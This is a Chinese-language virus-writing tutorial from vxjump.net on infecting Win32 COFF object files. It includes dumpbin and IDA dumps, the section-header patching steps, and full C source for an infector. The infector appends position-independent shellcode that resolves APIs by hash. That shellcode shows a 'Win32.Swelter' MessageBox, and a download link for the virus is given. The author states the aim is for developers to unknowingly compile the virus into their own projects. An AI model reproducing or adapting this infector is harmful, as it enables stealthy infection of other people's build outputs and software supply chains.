_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ WIN32 coff-obj文件感染技术研究 ]................<| |>......................[ by nEINEI/vxjump.net ]...................<| |>......................[ 2011-01-15 ]........................<| \>...................... [ neineit_at_gmail.com ] .................... int main() { char *title = "hello world!"; printf(title); } //---------------------------------------------------------------------- cmd > dumpbin /all /disasm t_obj.obj 截取主要部分打印数据: //-------------------------------- 文件头 ------------------------------- FILE HEADER VALUES 14C machine (i386) 4 number of sections ********** 重要的结构,这告诉我们这个obj文件有几个段,而我们关心的就是.text段 4C6DF71D time date stamp 125 file pointer to symbol table 10 number of symbols 0 size of optional header 0 characteristics //-------------------------------- .drectve段 ----------------------------- //----该段在obj文件被link过程中会被舍弃掉,主要提供给link的命令参数------- SECTION HEADER #1 .drectve name 0 physical address 0 virtual address 26 size of raw data B4 file pointer to raw data 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 100A00 flags Info Remove 1 byte align RAW DATA #1 00000000: 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4C 49 42 43 -defaultlib:LIBC 00000010: 20 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4F 4C 44 -defaultlib:OLD 00000020: 4E 41 4D 45 53 20 NAMES Linker Directives ----------------- -defaultlib:LIBC -defaultlib:OLDNAMES //-------------------------------- .text段 ----------------------------- SECTION HEADER #2 .text name 0 physical address 0 virtual address 10 size of raw data ----------> 段长度,也就是实际编码长度 DA file pointer to raw data ----------> .text中代码,相对文件头部的偏移 EA file pointer to relocation table ----------> 指向.text中需要重定位的数据指针 0 file pointer to line numbers 2 number of relocations ----------> .text中代码,需要被修正的重定位数量 0 number of line numbers 60501020 flags Code Communal; sym= _main 16 byte align Execute Read _main: 00000000: 68 00 00 00 00 push offset _main ---->此处偏移是0x00000000,还没有被重定位 00000005: E8 00 00 00 00 call 0000000A ---->此处偏移是0x00000000,还没有被重定位 0000000A: 59 pop ecx 0000000B: C3 ret 0000000C: 90 nop 0000000D: 90 nop 0000000E: 90 nop 0000000F: 90 nop RAW DATA #2 00000000: 68 00 00 00 00 E8 00 00 00 00 59 C3 90 90 90 90 h.........Y..... 具体0x68,0xe8后面的值需要由编译器来绝对。 //--------------------- .text段中的被修正的重定位表 -------------------- //最终代码就是根据该表中的值给链接器提供信息做最后的重定位依据 RELOCATIONS #2 Symbol Symbol Offset Type Applied To Index Name -------- ---------------- ----------------- -------- ------ 00000001 DIR32 00000000 D ??_C@_0N@NHHG@hello?5world?$CB?$AA@ (`string') 00000006 REL32 00000000 A _printf 这里说一下,重定位的类型有3类: DIR32 ---> 直接重定位,多是字符串一类情况,需要有链接器最终定位具体的虚拟地址值 REL32 ---> 相对重定位,当前opcode,相对于要跳转的函数的相对偏移值 DIR32NB ---> 供调试信息使用,与DIR32的区别是重定位值不包含可执行文件的默认加载地址 00000001 ,00000006 表示相对.text代码处要修正的位置偏移,也就是[]括起来的部分 00000000: 68 [00] 00 00 00 push offset _main 00000005: E8 [00] 00 00 00 call 0000000A //-------------------------------- .data段 ----------------------------- SECTION HEADER #3 .data name 0 physical address 0 virtual address D size of raw data FE file pointer to raw data 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C0301040 flags Initialized Data Communal; sym= "`string'" (??_C@_0N@NHHG@hello?5world?$CB?$AA@) 4 byte align Read Write RAW DATA #3 00000000: 68 65 6C 6C 6F 20 77 6F 72 6C 64 21 00 hello world!. 数据的位置最后由链接器来定义。 //-------------------------------------------------------------------------------------------- 下面看一下t_obj.obj在IDA中的显示情况: .text:00000000 public _main .text:00000000 _main proc near .text:00000000 68 10 00 00 00 push offset ??_C@_0N@NHHG@hello?5world?$CB?$AA@ ; "hello world!" .text:00000005 E8 16 00 00 00 call _printf .text:0000000A 59 pop ecx .text:0000000B C3 retn .text:0000000B _main endp IDA根据重定位表的格式,对.text段分别修正为0x10 ,0x16 两个偏移。同时 当你增加.text coed大小时,链接器会自动调整.data的位置。 //-------------------------------------------------------------------------------------------- 最终生成的t_obj.EXE文件显示情况 00401000 /$ 68 30704000 push t_obj.00407030 ; ASCII "hello world!" 00401005 |. E8 06000000 call t_obj.00401010 0040100A |. 59 pop ecx 0040100B \. C3 retn 字符串"hello world!" 被定位到了0x00407030 print 函数被定位到相对偏移0x05 + 0x6 = 0x0b 的位置,也即是虚拟地址为401010 此时我们知道,如果要修改obj文件的.text代码是要注意的,要避免修改到重 定位的部分,否则你的代码也会被链接器改写。 [0x04] .修改宿主数据 1 修改.text结构使其指向新加入的病毒代码位置,下面是段的结构体类型: typedef struct _sec_hdr { char c_name[8]; // 段名 unsigned long ul_v_size; // 虚拟大小 unsigned long ul_v_addr; // 虚拟地址 unsigned long ul_sec_size; // 段长度 unsigned long ul_sec_off; // 段数据偏移 unsigned long ul_rel_off; // 段重定位表偏移 unsigned long ul_lno_off; // 行号表偏移 unsigned short ul_num_rel; // 重定位表个数 unsigned short ul_num_ln; // 行号表长度 unsigned long ul_flags; // 段标识 }sec_hdr; ul_sec_size --> 修改为原代码的长度+病毒代码长度+重定位表长度 ul_sec_off --> 指向文件末尾 2 在分析中发现一个问题,如果把原.text的代码拷贝到新的空间中而不拷贝 重定位数据,会导致链接器无法执行。生成的EXE文件也无法执行,因为那部分数据 被病毒代码填充,链接器无法解析。 虽然.text 的代码部分长度并不包括重定位部分长度,且包括指向段内重定位 表偏移的指针,链接器可以根据原有那个表进行重定位操作,但实际情况是,链接器 会因为你的修改,把原有数据重定位弄错误,在IDA中观察是没有问题的,但最终生 成的EXE文件是完全混乱的。 所以我的一个猜测是段结构中的重定位偏移仅是提供给外部程序解析参考用的 (如IDA,dumpbin),而链接器只接受默认.text后面就是重定位表的事实。所以为 了能执行成功,我们还是把重定位部分拷贝过去,所以我们新增数据的长度是以上3 部分的长度总和。 3 修改原有代码,使其跳向病毒代码。 _main: 00000000: 68 00 00 00 00 push offset _main 00000005: E8 00 00 00 00 call 0000000A 0000000A: 59 pop ecx 0000000B: C3 ret ----------------\ 0000000C: 90 nop | 0000000D: 90 nop | 0000000E: 90 nop | 0000000F: 90 nop | ... 注意此处是重定位表的数据,要跳过该部分长度 | | | 000000xx: nop <----------------------------------/ 000000xx: nop 000000xx: nop ...virus code 4 返回原代码部分. 简单的情况,可直接在病毒代码中ret返回即可,宿主情况复杂的话,需要计算好偏移重新跳回去。 5 感染后的情况 SECTION HEADER #2 .text name 0 physical address 0 virtual address D9 size of raw data ----> 长度已经被重新计算 26D file pointer to raw data ----> 指向了文件末尾 EA file pointer to relocation table ----> 没有修改原有重定位表 0 file pointer to line numbers 2 number of relocations 0 number of line numbers 60501020 flags Code Communal; sym= _main 16 byte align Execute Read _main: 00000000: 68 00 00 00 00 push offset _main 00000005: E8 00 00 00 00 call 0000000A 0000000A: 59 pop ecx 0000000B: EB 1C jmp 00000029 -------------------\ 0000000D: 00 00 add byte ptr [eax],al | 0000000F: 00 01 add byte ptr [ecx],al | 00000011: 00 00 add byte ptr [eax],al | 00000013: 00 0D 00 00 00 06 add byte ptr ds:[6000000h],cl | 00000019: 00 06 add byte ptr [esi],al | 0000001B: 00 00 add byte ptr [eax],al | 0000001D: 00 0A add byte ptr [edx],cl | 0000001F: 00 00 add byte ptr [eax],al | 00000021: 00 14 00 add byte ptr [eax+eax],dl | 00000024: 68 65 6C 6C 90 push 906C6C65h | 00000029: 90 nop <----------------------------------/ 跳向了我们想要执行的代码 0000002A: 90 nop 0000002B: 90 nop 0000002C: 90 nop 0000002D: 90 nop 0000002E: 90 nop 0000002F: 90 nop 00000030: 90 nop 00000031: FC cld 00000032: 68 6A 0A 38 1E push 1E380A6Ah 00000037: 68 63 89 D1 4F push 4FD18963h 0000003C: 68 32 74 91 0C push 0C917432h 00000041: 8B F4 mov esi,esp 00000043: 8D 7E F4 lea edi,[esi-0Ch] ... [0x05] .code 代码演示的部分仅弹出一个MessageBox,我比较懒,所以偷懒用failwest的一个shellcode_popup_general代码(thx ^_^)稍作修改。 //------------------------------------------------------------------------------------------------------------------------------ #include #include #include void vir_code(void); void vir_code_end(void); int main(int argc, char* argv[]) { FILE *h = 0; unsigned char *buf = 0; int numread = 0; int i = 0; int f_size = 0; int vir_size = 0; int a_size = 0; int tx_off = 0; // coff-obj 文件头结构 typedef struct _coff_obj_header { short int magic; short int sections; long t_stamp; long symbol_to_pointer; long symbol_to_number; short int optional_header; short int flgs; }coff_obj_header; typedef struct _sec_hdr { char c_name[8]; // 段名 unsigned long ul_v_size; // 虚拟大小 unsigned long ul_v_addr; // 虚拟地址 unsigned long ul_sec_size; // 段长度 unsigned long ul_sec_off; // 段数据偏移 unsigned long ul_rel_off; // 段重定位表偏移 unsigned long ul_lno_off; // 行号表偏移 unsigned short ul_num_rel; // 重定位表个数 unsigned short ul_num_ln; // 行号表长度 unsigned long ul_flags; // 段标识 }sec_hdr; typedef struct _reloc_s { unsigned long ul_off; // 定位偏移 unsigned long ul_symbol; // 符号 unsigned short us_type; // 定位类型 }reloc_s; coff_obj_header coh_buf; sec_hdr sh; long tx_rel_off; long tx_rel_len; long txt_len; long txt_off; if (argc <2) { printf("please enter the obj file path to infection\n"); return 0; } if (0 == (h = fopen(argv[1],"r+"))) { printf("the file %s was not opened\n",argv[2]); return 0; } fseek(h,0,SEEK_END); f_size = ftell(h); fseek(h,0,SEEK_SET); numread = fread(&coh_buf,sizeof (coff_obj_header),1,h); for(i = 0 ; i < coh_buf.sections;i++) { fread(&sh,sizeof(sec_hdr),1,h); if (0 == strnicmp(".text",sh.c_name,5)) { tx_off = sizeof(coff_obj_header) + i * sizeof(sec_hdr); txt_off = sh.ul_sec_off; txt_len = sh.ul_sec_size; //读取重定位表数据 tx_rel_off = sh.ul_rel_off; tx_rel_len = sh.ul_num_rel * sizeof(reloc_s); break; } } // 构造一个新的obj缓冲区 vir_size = (int)((int)&vir_code_end - (int)&vir_code); a_size = f_size + vir_size + tx_rel_len + 1; buf = (unsigned char *)malloc(a_size); memset(buf,0,f_size + vir_size +1); fseek(h,0,SEEK_SET); fread(buf,sizeof(unsigned char),f_size,h); fclose(h); h = 0; // 修改text节的执行 // 将原有.text数据定位的文件尾部 printf("buff + f_size :%0x\n",buf + f_size); memcpy(buf + f_size,buf + txt_off,txt_len); // copy重定位表 memcpy(buf + f_size + txt_len,buf + tx_rel_off,tx_rel_len); // copy virus memcpy(buf + f_size + txt_len + tx_rel_len,vir_code,vir_size); // 修改.text节代码偏移 //sh.ul_sec_size (*(unsigned long *)(buf + tx_off + 8 + 4 + 4)) = txt_len + vir_size + 9; //sh.ul_sec_off (*(unsigned long *)(buf + tx_off + 8 + 4 + 4 + 4)) = f_size; // 修改原有ret指令,跳过重定位表,此处需要反汇编引擎支持,搜索0xc3,定位要修改的jmp 位置,POC演示直接定位. (*(unsigned char *)(buf + f_size + 0x0b)) = 0xeb; (*(unsigned long *)(buf + f_size + 0x0c)) = (txt_len - 0xc) + tx_rel_len - 1; // 加入ret指令返回,或跳转到宿主 // ... // 写入一个新的obj if(0 ==(h = fopen("t_obj.obj","wb"))) { printf("the file t_obj.obj was not created\n"); return 0; } fwrite(buf,sizeof(unsigned char),a_size,h); fclose(h); return 1; } __declspec(naked) void vir_code(void) { _asm{ nop nop nop nop nop nop nop nop nop CLD ; clear flag DF ;store hash push 0x1e380a6a ;hash of MessageBoxA push 0x4fd18963 ;hash of ExitProcess push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ; esi = addr of first function hash lea edi,[esi-0xc] ; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233 ; rest of ebx is null push ebx push 0x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] mov ecx, [ebx + 0x0c] mov ecx, [ecx + 0x1c] mov ecx, [ecx] mov ebp, [ecx + 0x08] find_lib_functions: lodsd cmp eax, 0x1e380a6a jne find_functions xchg eax, ebp call [edi - 0x8] xchg eax, ebp find_functions: pushad mov eax, [ebp + 0x3c] mov ecx, [ebp + eax + 0x78] add ecx, ebp mov ebx, [ecx + 0x20] add ebx, ebp xor edi, edi next_function_loop: inc edi mov esi, [ebx + edi * 4] add esi, ebp cdq hash_loop: movsx eax, byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx, [esp + 0x1c] jnz next_function_loop mov ebx, [ecx + 0x24] add ebx, ebp mov di, [ebx + 2 * edi] mov ebx, [ecx + 0x1c] add ebx, ebp add ebp, [ebx + 4 * edi] xchg eax, ebp pop edi stosd push edi popad cmp eax,0x1e380a6a jne find_lib_functions function_call: xor ebx,ebx push ebx // cut string push 0x00726574 // show Win32.Swelter push 0x6C657753 mov eax,esp //load address of Swelter push ebx push eax push eax push ebx call [edi - 0x04] //call MessageboxA push ebx call [edi - 0x08] // call ExitProcess ret } } __declspec(naked) void vir_code_end(void) { } //-------------------------------------------------------------------------- [0x06] .其它 关于感染的方式还有很多中方法,比如利用重定位表,构造一个加载后能跳 转到virus code值,感兴趣的朋友可以去尝试下,coff - obj的感染条件比较苛刻, 至少要在有编译器的机器上搜索到有obj才行,并且没有做rebuild all 操作,而是 直接编译链接代码,这样才会神不知鬼不觉的把病毒代码编译进自己的工程里面来。 由于对链接器原理理解不够深入及对coff文件格式本身理解不准的地方可能导 致本文存在描述中存在疏漏,如果有什么问题给mail我,neineit@gmail.com ,欢迎 交流指正。 附参考文献: [1] Matt Pietrek. 《Linker Algorithm》 [2] John R. Levine. 《Linkers & Loaders》 [3] coff 格式. http://baike.baidu.com/view/1240794.htm [4] failwest. 《shellcode_popup_general》 demo 下载: http://www.vxjump.net/downfile/Win32.Swelter.rar